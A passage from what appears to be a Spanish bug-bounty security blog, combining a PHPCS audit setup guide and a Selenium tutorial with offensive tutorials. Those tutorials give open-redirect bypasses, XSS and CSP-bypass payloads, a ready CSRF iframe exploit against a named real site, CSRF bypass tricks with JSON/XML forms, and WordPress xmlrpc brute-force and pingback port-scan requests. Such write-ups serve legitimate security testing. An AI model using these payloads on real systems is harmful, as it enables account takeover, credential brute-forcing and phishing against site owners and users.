lunes, 22 de octubre de 2018

PHPCS Security Audit en XAMPP


phpcs security audit es un conjunto de reglas PHP_CodeSniffer que encuentra vulnerabilidades y debilidades relacionadas con la seguridad en el código PHP.

Github: https://github.com/FloeDesignTechnologies/phpcs-security-audit

1.- Abrir Panel de XAMPP > SHELL > pear install Archive_Tar 
2.- Cambiar en C:/xampp/php/pear/Archive/Tar.php
Si marca error, realizar: 
$v_att_list = & func_get_args(); 
a
$v_att_list &= func_get_args();

PD: Funciona en PHP 7.2 usando XAMPP

3.- pear install PHP_CodeSniffer
4.- copiar la carpeta Security/ dentro de  C:/xampp/php/pear/PHP/CodeSniffer/Standards
5.- phpcs --config-set installed_paths C:\xampp\php\pear\PHP\CodeSniffer\Standards\Security
6.- en la consola cmd ejecutar phpcs -i verificar si esta Security
7.- cmd > phpcs --standard=Security C:/xampp/htdocs/subdomainScanner > c:/users/pc/output.txt (nos tira un resultado output.txt con los resultados)


viernes, 12 de octubre de 2018

Utilizando Redireccionamientos abiertos para bug bounties

Introduccion

Esto es solo una publicacion rapida que describe algunos consejos utiles para identificar vulnerabilidades de redireccionamiento abierto y tambien como utilizarlas para crear vulnerabilidades mas graves.

A pesar de que son vulnerabilidades de bajo riesgo, todavia hay muchos programas de recompensas que dan pagos por ellos, y generalmente se pueden convertir en XSS con bastante facilidad, lo que permite un pago en practicamente todos los programas de recompensas, aqui hay algunos ejemplo de programas que pagan por redirecciones abiertas:

* Shopify: $500
* Okta: $500
* Teslamotors: $500

Los redireccionamientos abiertos (para cualquier persona que no lo sepa) son simplemente enlaces donde puede especificar un enlace a una URL remota desde una URL confiable y redirigira al usuario alli sin una advertencia, lo que puede llevar a un phishing entre otros riesgos, aqui un ejemplo:

http://www.construcciononline.com.mx/redirect.php?clasif=296&edo=&mpio=&type=8&url=arthusu.blogspot.com&path=/busca.php&id_cliente=148547

en este caso, un atacante podria redirigir desde construcciononline a arthusu.blogspot.com

* ?url=
* ?redirecturl=
* ?returnUrl=
* ?go=
* ?return=
* ?exitpage=
* ?fromUrl=
* ?fromuri=
* ?redirect_to= 

Hay muchos mas, estos son algunos ejemplos de como podemos darnos cuenta facilmente o buscar dorks sobre las redirecciones de URL.

Tecnicas de Bypass

A continuacion pasare algunos metodos de redireccion (que no sean simplemente enlaces a la URL):

* //arthusu.blogspot.com - si http: esta siendo filtrado
* https:arthusu.blogspot.com - si // se esta filtrando
* \/\/arthusu.blogspot.com/ - el navegador trata \/\/ como //
* /\/arthusu.blogspot.com - igual que arriba
* //arthusu[porcentaje00].com - nullbyte para omision del filtro, en lugar de porcentaje es % sin [] corchetes
* //arthusu%0a%0d.com - CRLF puede omitir el filtro
* http://arthusu.com@sitioaleatorio.com - redirigira a sitio aleatorio que esta despues del @ (aveces pide permiso al usuario)
* http://arthusu.blogspot.com/?x=http://sitioconfiable.com - Funciona cuando sitioconfiable.com esta en la lista blanca de sitios
* %61%72%74%68%75%73%75%2e%62%6c%6f%67%73%70%6f%74%2e%63%6f%6d - codificado en url encode
* YXJ0aHVzdS5ibG9nc3BvdC5jb20= - Codificado en base64
* arthusu。blogspot。com - Algunos navegadores como firefox soportan esta caracteristica, que normaliza la entrada lo que hace es que 。se muestre como .
* arthusu%E3%80%82blogspot%E3%80%82com - lo mismo que lo anterior pero codificado

Ademas de lo anterior, otro metodo que puede permitir el abuso de redireccionamientos abiertos es la contaminacion de parametros HTTP, por ejemplo, si la URL vulnerable es ejemplo.com/redir.php?url=http://arthusu.blogspot.com pero no redirige luego podria intentar llamar al mismo parametro GET dos veces, por ejemplo, ejemplo.com/redir.php?url=http://arthusu.blogpost.com&url=http://arthusu.blogspot.com/
Tambien he visto redireccionamientos en los que la redireccion a una URL no es permitido, pero la direccion a la IP directa funciona bien.

Convirtiendo redirecciones en XSS

Ahora, una redireccion es buena pero lo ideal es que quieras apuntar a falsificacion de contenido o XSS (tambien se puede con SSRF, pero se vera en otra publicacion) para aumentar tu pago. A continuacion detallare algunos metodos para hacerlo..

Aqui esta el mas obvio, redireccionamiento directo a js:// URI Schema

javascript:alert(1337)

alert.call tambien se puede utilizar:

javascript:alert.call(this.%20document.domain)

por supuesto, si se filtra la alerta, puede intentar usar 'prompt', 'confirm',etc

Si el parentesis activa WAF, puede usar:

javascript:confirm`1337`

Para acceder al document.domain, document.cookie,etc. A traves de cadenas de plantillas, puede utilizar uno de los dos metodos, este primero es el mas elegante:

javascript:prompt`${document.domain}`

Si el metodo anterior no funciona por algun motivo, esto tambien se puede lograr a traves de setInterval:

setInterval`alert\%0A28document.domain\%0A29`

CRLF puede utilizar para eludir el WAF:

javascr%0a%0dipt%0a%0d:alert`1337`

Si la URL suministrada se refleja en el codigo de la pagina dentro del contexto de una etiqueta de script (por ejemplo, se carga dentro de una etiqueta script y con el valor document.location) entonces puede usar el siguiente payload para romper la etiqueta de secuencia de comandos y activar una alerta:

";alert(0);//

Tambien he encontrado que un payload que funciona comunmente con parametros relacionados con la redireccion es el siguiente:

'-confirm(0)-'

o

"-confirm(0)-"

Si ninguno de los metodos anteriores funciona e intenta redirigir a js:// URI esta generando un error de contenido dañado o HTTP 500, entonces puede intentr redirigir a una URI data:// como:

data:text/html,<script>alert(1337)</script>

Si las etiquetas HTML estan activando una respuesta WAF, tambien puede codificar en base64 la entrada para la URI asi:

data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==

Ahora debe tener en cuenta que el metodo anterior que usa data:// tecnicamente no es un XSS (ya que el script se carga en un contexto nulo en lugar del contexto del sitio destino) todavia se puede usr para el phishing, entre otras cosas, y representa mas de un riesgo que un redireccionamiento abierto regular (aunque un menor riesgo que XSS), tambien debe tener en cuenta que si se agrega el relleno al URI, puede hacer que el navegador muestre data:// o incluso una barra de direcciones en blanco, que parece sospechoso que un monton de entradas codificadas en base64. Con algunos trucos adicionales, tambien puede hacer que parezca que muestra la URL de origen valida (por ejemplo, http://ejemplo.com/data:text/html;base64,blahblahblah) que puede engañar facilmente al usuario habitual de una computadora.


Espero que hayan aprendido una o dos cosas de esto.

sábado, 29 de septiembre de 2018

Selenium Automatizando el navegador PHP-WebDriver by Facebook

¿Que es Selenium?

Selenium automatiza los navegadores. ¡Eso es! Lo que hagas con ese poder depende totalmente de ti. Principalmente, es para automatizar aplicaciones web con fines de prueba, pero ciertamente no se limita a eso. Las tareas de administracion aburridas basadas en la web pueden (y deberian) ser automatizadas tambien.

Selenium tiene el soporte de algunos de los proveedores mas grandes de navegadores que han tomado (o están tomando) pasos para hacer de Selenium una parte nativa de su navegador. También es la tecnología central en muchas otras herramientas de automatización del navegador, API y frameworks.

¿Que parte de Selenium es apropiada para mi?

Selenium Web Driver

Si quieres:
* Cree robustos paquetes y pruebas de automatizacion de regresion basados en el navegador
* Escalar y distribuir scripts en muchos entornos

Selenium IDE

Si quieres:
* Crear scripts rapidos de reproduccion de errores
* Crear scripts para ayudar en las pruebas exploratorias asistidas por la automatizacion.

Descargar Selenium

Puedes dirigirte a la pagina web de Selenium y en la seccion Download: https://www.seleniumhq.org/download/

Puedes elegir la que mas se adapte a tu proyecto ya sea selenium ide o selenium web driver. En este minitutorial mostraremos algo basico de los dos.


Selenium IDE

En caso de que quieras que sea solamente una accion en especifica siempre la misma accion te recomendaria usar Selenium IDE. El cual se encuentra disponible para firefox y chrome en version complemento, yo utilizare para firefox en este caso:
https://addons.mozilla.org/en-US/firefox/addon/selenium-ide/

En el siguiente vídeo veremos como en Selenium entramos a la pagina de mi BLOG, después entramos a una publicación y después volvemos a la pagina inicial, esto es algo básico ya que con Selenium podemos meter datos en un campo, y muchas cosas mas que normalmente podemos hacer manualmente con el navegador.




También puedes exportar tu código a diferentes partes y hacer mas rápido una ejecución.

Selenium Web Driver

¿Que diferencia hay entre Selenium IDE y Selenium Web Driver?

La mayor diferencia es que con Selenium IDE grabamos las cosas y las reproducimos, pero si quieres que algo sea dinamico y con interaccion debes utilizar programacion y con Selenium Web Driver lo puedes lograr.

Lo primero que debemos realizar es descargarnos el driver de nuestra preferencia se encuentra dentro de la misma pagina oficial de selenium, en mi caso seguire usando firefox:

https://github.com/mozilla/geckodriver/releases

Hay que agregar el driver a variables de entorno.

Y usare tambien el server standalone de selenium en este caso yo utilizare la version 3.8.1:

http://selenium-release.storage.googleapis.com/index.html

Utilizare el driver de PHP creado por facebook:

https://github.com/facebook/php-webdriver

Lo primero a realizar es correr mi server standalone de selenium:




java -jar selenium-server-standalone-3.8.1.jar -enablePassThrough false

Por ultimo podemos correr nuestro proyecto usando la consola o desde web, no explicare el uso del driver ya que facebook tiene una gran wiki aqui: https://github.com/facebook/php-webdriver/wiki




Por ultimo decirles que con Selenium tenemos una herramienta poderosa para automatizacion de tareas y podriamos hacer cosas grandiosas con el. Un ejemplo:



facebook from Ikizler Kadioglu on Vimeo.


Por esta introduccion seria todo y les invito a probar Selenium en sus proyectos de automatizacion.

Saltar CSRF Referer en Blanco

Cuando se comenta un video en xvideos, se envian 0 tokens CSRF. La solicitud es: 

POST http://www.xvideos.com/video-post-comment/video_id/ HTTP/1.1 user=testuser&comment=testy&test=ok 

podemos realmente falsificar al usuario para que comente lo que quiera. Sin embargo... xvideos comprueba si Referer: es xvideos.com o en blanco. Si esta en blanco, lo dejara pasar Pero ¿como podemos enviar un referer en blanco? Aqui es donde entra en juego nuestra confiable informacion de amigos. 

Si visita: data:text/html, <script>top.location.href='http://www.google.com/';</script> en Google Chrome, lo redireccionara sin Referer y origin null. 

Asi que creemos un iframe con data: junto con nuestro formulario para enviar una publicacion. 

Reemplazamos (video_here con el videoid a continuacion).

<iframe src='data:text/html,<html> <head> <script> function doit() { document.getElementById("myForm").submit(); } setTimeout(doit,2000); </script> </head> <div style="display:none;"> <iframe id="myframe" name="myframe"></iframe> <form id="myForm" name="myForm" action="http://www.xvideos.com/video-post-comment/video_here/" method="POST" target="myframe"> <input type="text" name="user" value="testuser"></input> <input type="text" name="comment" value="testy"></input> <input type="text" name="test" value="ok"></input> </form>'></iframe>

La solicitud:



La respuesta:




Muestra el valor "Thanks for your comment" (Gracias por tu comentario), el valor Referer no esta alli y el Origin es null, por lo que xvideos lo deja pasar :)

Simplemente revisando Referer: ¡Es un mal enfoque para protegerse de CSRF!

Saltando CSRF



Cross site request forgery (CSRF) estan diseñados para enviar que un FORM POST oculto en maligno.com sea enviado en secreto para secuestrar su cuenta en ejemplo.com. Los sitios web como Facebook implementan esto utilizando algo llamado "fb_dtsg" con la solicitud, y el proposito general es que solo puede realizar una accion (como actualizar su correo electronico) si se envia un valor valido de "fb_dtsg" con la solicitud. A menos que el atacante tenga XSS, ningun atacante puede obtener este valor unico y falsificar una solicitud cuando visita su sitio malicioso. En este tutorial voy a describir un bypass interesante que encontre, asi como las cosas que tambien puedes probar.

El sitio tiene un token CSRF... no es vulnerable - piénselo de nuevo

Un programa de recompensas tenia tokens CSRF en todas sus solicitudes. Literalmente, cada accion que realizaba se enviaba con un token CSRF. El bypass fue en realidad extremadamente simple, uso de clickjacking.

Si, por ejemplo, estaba actualizando el correo electronico de mi cuenta y modifico la solicitud para enviar un valor CSRF en blanco, reflejaria los cambios que queria hacer pero con error: CSRF_token no es valido. Por favor, vuelva enviarlo... el correo electronico no se habia actualizado exitosamente, pero habia sido reflejado en la pagina.

Gracias a la falta de X-FRAME-OPTIONS, pude enviar la solicitud para actualizar el correo electronico, luego anote el resultado "haga clic en el usuario" para hacer clic "enviar". Bingo, esa cuenta ahora es mia!.

Otras formas comunes de eludir tokens CSRF

Token CSRF en blanco

Extremadamente simple, solo intente enviar un valor CSRF en blanco y vera si validan del lado del servidor. No se olvide de ver tambien si los cambios que intento realizar se reflejan en la pagina. ¡Combine esto con clickjack y tendra un problema potencial de CSRF en todo el sitio!

Compartiendo tokens CSRF

He tenido casos en los que mientras la sesion de los usuarios es valida, el token CSRF de los usuarios se puede compartir en cualquier otra cuenta. Cree dos cuentas y vea si puede compartir tokens csrf entre las mismas.

Cambiar un caracter

A veces, un sitio solo verificara la longitud de un token CSRF (tonto, lose). Intente cambiar un caracter (para que tenga la misma longitud) y vea que sucede. Te sorprenderias.

Usando archivos .swf

@avlidienbrunn hizo un gran informe sobre el uso de archivos .swf para CSRF: https://hackerone.com/reports/44146

¿Puedes usar CSRF en JSON y XML?

Claro que se puede, esto podria requerir un poco de juego, ya que aveces tienes que usar el caracter '=' en algun lugar, A continuacion se muestra como realizar para XML:

<html>
 <body>
    <form ENCTYPE="text/plain" action="http://sitiovulnerable/prueba.php" method="post"> 
    <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>">
     <input type="submit" value="submit"> </form>
 </body>

</html>

Y en JSON (este ejemplo exporta una lista de contactos)

<html>
 <body>
    <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
    <input type="hidden" name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'>
     <input type="submit" value="submit"> </form>
 </body>

</html>


Observe como se esta utilizando el "=" en el parametro de correo electronico, gracias a la forma en que funciona Google Mail, un correo electronico enviado a myemail+2=@gmail.com ira a myemail@gmail.com.

Proteccion CSRF a traves de Referer

He visto sitios que verifican si el Referer es su sitio y si es = a su sitio entonces permiten la solicitud. Si no es = entonces bloquean la solicitud. Un enfoque interesante para detener los ataques CSRF, como podemos evitar esto es usando la siguiente manera:

* https://tusitio.com/https://www.elsitiovulnerable.com/

Algunos sitios solo comprueban si CONTIENE la URL de su sitio web, lo que significa que solo podemos crear una carpeta en nuestro sitio para enviar la solicitud CSRF.

* Enviar un Referer en Blanco
Enviar un formulario dentro de un iframe realmente le dara un Referer en blanco. A veces esto es suficiente para pasar por alto su proteccion.

Probablemente haya algunas cosas que me falten, o quizas tenga un concepto interesante para evitar el CSRF. Si es asi, no dude comunicarse conmigo y lo agregare aqui. Happy Hacking.

Wordpress xmlrpc.php: vulnerabilidades comunes y como explotarlas

¿De que se trata este post?

Es posible que haya visto un archivo xmlrpc.php en muchos sitios de Wordpress que visite, incluso que haya intentado buscar el error (el servidor XML-RPC solo acepta solicitudes POST) que aparece cuando visita http://sitio.com/wp/xmlrpc.php. En esta publicacion, intentare resaltar las vulnerabilidades comunes asociadas con el archivo xmlrpc.php.

¿Que es XML-RPC?

XML-RPC en Wordpress es en realidad una API o "interfaz de programa de aplicacion". Ofrece a los desarrolladores que crean aplicaciones moviles, aplicaciones de escritorio y otros servicios la capacidad de comunicarse con su sitio de Wordpress. La API XML-RPC que ofrece Wordpress les brinda a los desarrolladores una manera de escribir aplicaciones (para usted) que puedan hacer muchas de las cosas que puede hacer cuando inicia sesion en WordPress a traves de la interfaz web. Estas incluyen:

* Publicar una entrada
* Editar una publicacion
* Eliminar una publicacion
* Subir un nuevo archivo (por ejemplo, una imagen para una publicacion)
* Obtener una lista de comentarios
* Editar comentarios

Vulnerabilidades comunes en XML-RPC

Las principales debilidades asociadas con XML-RPC son: Ataques de fuerza bruta: los atacantes intentan iniciar sesion en WordPress utilizando xmlrpc.php.
Veamos como se hace realmente y como podria aprovechar esto mientras intenta probar un sitio de wordpress para detectar posibles vulnerabilidades.

Ataque de fuerza bruta

1.- Esto es lo que ve originalmente cuando intenta abrir xmlrpc.php ubicado en http://<tusitio.com>/<directoriowordpress>/xmlrpc.php




2.- Lo primero que debe hacer ahora es enviar una solicitud POST y enumerar todos los metodos disponibles, ¿por que? por que asi sabremos que acciones son posibles realizar y potencialmente usar una de ellas para un ataque. Para enumerar todos los metodos envie una solicitud POST con los siguientes datos, como se muestra en la imagen, obtendra una respuesta con todos los metodos disponibes.

<methodCall> 
<methodName> system.listMethods </methodName> 
<params> </params> 
</methodCall>



3.- Busque lo siguiente, si encuentra que estan disponibles, entonces podemos proceder con el ataque:

* wp.getUserBlogs
* wp.getCategories
* metaWeblog.getUsersBlogs

NOTA: hay algunos metodos mas, pero estos son los mas comunmente disponibles. Los he tratado antes, solo mencionando los que puedo recordar en este momento.

4.- Ahora, para realizar un ataque de fuerza bruta, envie lo siguiente en la solicitud POST, si conoce algun nombre de usuario valido que seria aun mejor, recomiendo usar wp-scan para encontrar una lista de nombres de usuarios validos, casi siempre las compañias no intentan evitar la enumeracion de nombre de usuarios de los sitios wordpress.

<methodCall> 
<methodName> wp.getUsersBlogs </methodName> 
<params> 
<param><value>admin</value> </param> 
<param><value>pass</value> </param> 
</params> 
</methodCall>



5.- Ahora cargamos intruder con Burp suite para realizar una ataque por fuerza bruta: https://arthusu.blogspot.com/2015/01/concepto-ataque-por-fuerza-bruta.html

Cuando obtenga un respuesta correcta tendra un 200OK o en funcion del tamaño de la respuesta, el inicio de sesion se mostrara correcto.


¿Otros Ataques?


XSPA o simplemente escaneo de puerto!

1.- Enumere todos los metodos y busque el siguiente:

'pingback.ping'

2.- Si lograste encontrar la cadena pingback.ping entonces continuemos e intentemos obtener un ping en nuestro servidor, puede usar netcat, apache, nodejs, etc. Inicie su servidor y envie la siguiente solicitud en los datos de la publicacion:

<methodCall> 
<methodName> pingback.ping </methodName> 
<params> <param> 
<value> <string> http://sitioaescanear.com.mx:8080 </string> </value> 
</param> <param> <value> <string>http://tusitio.com/wp/?p=1 </string> 
</value></param> </params> 
</methodCall>

Hay 2 cosas que deben llenarse aqui:
1) El enlace de su servidor
2) El enlace de alguna publicacion valida del sitio de wordpress que se usa para devolver la llamada al ping




en la respuesta, si obtiene faultCode y un valor mayor que 0 (<value><int>17</int></value>), significa que el puerto esta abierto + puede verificarlo revisando los registros del servidor.




lunes, 17 de septiembre de 2018

Como saltar CSP (Content Security Policy)

Introduccion

La política de seguridad de contenido (CSP) es un estándar de seguridad informática introducido para evitar la secuencia de comandos (XSS), clickjacking y otros ataques de inyección de código resultantes de la ejecución de código malicioso en el contexto confiable de la pagina web.

Detectando CSP



Primeramente vemos una URL que puede ser posiblemente atacada por XSS. Y hacemos la prueba:



Vemos como se inyecta nuestro codigo pero no se ejecuta entonces, vamos al apartado de Network de nuestro inspeccionador de elementos y vemos lo siguiente:


Un mensaje de error que nos indica claramente como content security police nos esta bloqueando y que solo permite ejecutar scripts del mismo dominio.

Atacar!

El siguiente paso es buscar alguna parte donde se refleje nuestro XSS ya sea un alert, prompt, confirm, etc... puede llegar a ser una imagen, un archivo js, etc...

Primero hay que ver cuales son los dominios que permite para ello vamos hacemos una peticion y vemos la respuesta:



Vemos claramente como se puede solamente inyectar script que sean del mismo dominio. Ejemplo de un vector:

<script src="http://pentesterlab.com/arthusublog.js?var=alert(1);" />

Donde alert(1) se refleja en el JS.



Inyectando el vector en donde se encuentra el XSS podemos realizar el bypass: